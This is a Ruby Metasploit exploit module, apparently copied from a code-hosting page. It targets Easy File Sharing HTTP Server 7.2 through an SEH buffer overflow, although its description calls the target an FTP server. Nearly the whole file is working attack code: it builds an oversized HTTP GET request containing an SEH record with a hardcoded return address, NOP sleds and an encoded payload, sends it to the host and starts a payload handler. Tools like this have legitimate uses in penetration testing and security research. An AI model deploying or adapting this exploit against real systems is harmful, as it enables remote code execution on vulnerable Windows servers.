67 lines
1.8 KiB
Ruby
67 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
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'Description' => %q{
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This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
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},
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'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'EDB', '39008' ],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 390,
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'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
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],
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'DefaultOptions' => {
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'RPORT' => 80
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},
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'DisclosureDate' => 'Dec 2 2015',
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'DefaultTarget' => 0))
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end
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def print_status(msg='')
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super("#{peer} - #{msg}")
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end
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def exploit
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connect
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print_status("Sending exploit...")
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sploit = "GET "
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sploit << rand_text_alpha_upper(4061)
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sploit << generate_seh_record(target.ret)
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sploit << make_nops(19)
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sploit << payload.encoded
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sploit << make_nops(7)
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sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
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sploit << " HTTP/1.0\r\n\r\n"
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sock.put(sploit)
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print_good("Exploit Sent")
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handler
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disconnect
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end
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end
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